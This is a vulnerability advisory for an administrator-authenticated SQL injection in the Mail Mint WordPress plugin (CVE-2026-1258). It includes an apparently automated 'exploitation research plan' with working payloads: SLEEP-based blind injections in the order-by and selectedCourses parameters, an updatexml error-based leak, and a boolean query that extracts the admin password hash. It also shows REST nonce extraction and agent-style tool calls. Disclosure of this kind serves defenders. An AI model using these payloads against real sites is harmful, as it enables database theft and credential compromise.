Mail Mint <= 1.19.2 - Authenticated (Administrator+) SQL Injection via Multiple API Endpoints
Description
The Mail Mint plugin for WordPress is vulnerable to blind SQL Injection via the 'forms', 'automation', 'email/templates', and 'contacts/import/tutorlms/map' API endpoints in all versions up to, and including, 1.19.2 . This is due to insufficient escaping on the user supplied 'order-by', 'order-type', and 'selectedCourses' parameters and lack of sufficient preparation on the existing SQL queries. This makes it possible for authenticated attackers, with administrator level access and above, to append additional SQL queries into already existing queries.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.19.2Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1258 (Mail Mint SQL Injection) ## 1. Vulnerability Summary The **Mail Mint** plugin (up to version 1.19.2) contains multiple authenticated SQL injection vulnerabilities. These exist in the REST API controllers handling forms, automations, email templates, and …
Show full research plan
Exploitation Research Plan: CVE-2026-1258 (Mail Mint SQL Injection)
1. Vulnerability Summary
The Mail Mint plugin (up to version 1.19.2) contains multiple authenticated SQL injection vulnerabilities. These exist in the REST API controllers handling forms, automations, email templates, and TutorLMS contact imports. The root cause is the direct interpolation of user-supplied parameters—specifically order-by, order-type, and selectedCourses—into SQL queries without using $wpdb->prepare() or strictly whitelisting the values. While the vulnerability requires Administrator privileges, it allows for full database extraction via blind or error-based techniques.
2. Attack Vector Analysis
- Endpoints:
/wp-json/mail-mint/v1/forms(GET/POST)/wp-json/mail-mint/v1/automation(GET/POST)/wp-json/mail-mint/v1/email/templates(GET/POST)/wp-json/mail-mint/v1/contacts/import/tutorlms/map(POST)
- Vulnerable Parameters:
order-by,order-type,selectedCourses. - Authentication: Required. Administrator role or higher (Administrator+).
- Preconditions: The REST API must be active (default in WordPress), and the Mail Mint plugin must be active.
- Payload Type: Blind Time-based or Boolean-based SQL Injection (standard for
ORDER BYandINclause injections).
3. Code Flow (Inferred)
- Entry Point: A REST request is made to
register_rest_routeendpoints defined in the plugin's REST initialization (likely inincludes/Rest/or similar). - Controller: The request is handled by a class like
Mail_Mint\Rest\Forms_ControllerorMail_Mint\Rest\Automation_Controller. - Parameter Retrieval: The controller retrieves parameters using
$request->get_param('order-by'). - SQL Sink: The parameters are passed to a data-fetching method (e.g.,
get_itemsor a repository class). The code constructs a query string:$query = "SELECT * FROM {$wpdb->prefix}mail_mint_forms ORDER BY " . $order_by . " " . $order_type; - Execution:
$wpdb->get_results( $query )is called without$wpdb->prepare().
4. Nonce Acquisition Strategy
REST API endpoints in WordPress require a _wpnonce parameter or an X-WP-Nonce header for authenticated sessions to prevent CSRF.
- Login: Log in as an Administrator.
- Navigation: Use
browser_navigateto go to the Mail Mint dashboard:/wp-admin/admin.php?page=mail-mint. - Extraction: The WordPress core provides a REST nonce for authenticated users.
- JavaScript Variable:
wpApiSettings.nonce - Action:
browser_eval("window.wpApiSettings.nonce")
- JavaScript Variable:
- Alternative: If
wpApiSettingsis not available, check for plugin-specific localized variables:- Check for
mail_mint_varsormail_mint_admin_vars. browser_eval("window.mail_mint_vars?.nonce")(inferred).
- Check for
5. Exploitation Strategy
We will focus on the forms endpoint as it is the most common feature. We will use a time-based blind injection in the order-by parameter.
Step-by-Step Exploit:
- Identify Base Response Time: Measure a normal request to
/wp-json/mail-mint/v1/forms. - Craft Time-Based Payload:
order-byinjections often require a subquery or aCASEstatement if the database is MySQL.- Payload:
(SELECT 1 FROM (SELECT(SLEEP(5)))a)
- Execute Request:
- Tool:
http_request - Method:
GET - URL:
/wp-json/mail-mint/v1/forms?order-by=(SELECT 1 FROM (SELECT(SLEEP(5)))a)&order-type=ASC - Headers:
X-WP-Nonce: [EXTRACTED_NONCE]Cookie: [ADMIN_COOKIES]
- Tool:
Payload for selectedCourses (TutorLMS endpoint):
This parameter is likely used in an IN clause.
- Payload:
1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1=1 - URL:
/wp-json/mail-mint/v1/contacts/import/tutorlms/map - Body:
selectedCourses=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1=1
6. Test Data Setup
- Install Plugin: Install and activate
mail-mintversion 1.19.2. - Create Content:
- Create at least one "Form" in the Mail Mint menu to ensure the
formsquery returns data. - Path:
Mail Mint -> Forms -> Create New.
- Create at least one "Form" in the Mail Mint menu to ensure the
- Admin User: Ensure an admin user exists (default:
admin/password).
7. Expected Results
- Vulnerable Response: The HTTP response for the malicious request will be delayed by approximately 5 seconds.
- Success Indicator: The response body should still return valid JSON forms data (as the
ORDER BYmodification is syntactically valid but time-consuming). - Normal Response: A request with
order-by=idshould return in < 500ms.
8. Verification Steps
After the exploit, use wp-cli to verify the database structure and confirm the injection point:
- Check Plugin Version:
wp plugin get mail-mint --field=version(Confirming <= 1.19.2). - Manual Query Test:
If this command hangs for 2 seconds, the SQL construction is confirmed.wp db query "SELECT id FROM wp_mail_mint_forms ORDER BY (SELECT 1 FROM (SELECT SLEEP(2))a)"
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis on, useupdatexml()orextractvalue()to leak the version:order-by=updatexml(1,concat(0x7e,@@version),1)
- Boolean-Based: If timing is inconsistent, use
IFto change the order:order-by=IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE id=1),1,1))=36, id, title)- This will sort the results differently depending on if the admin password hash starts with
$(ASCII 36).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.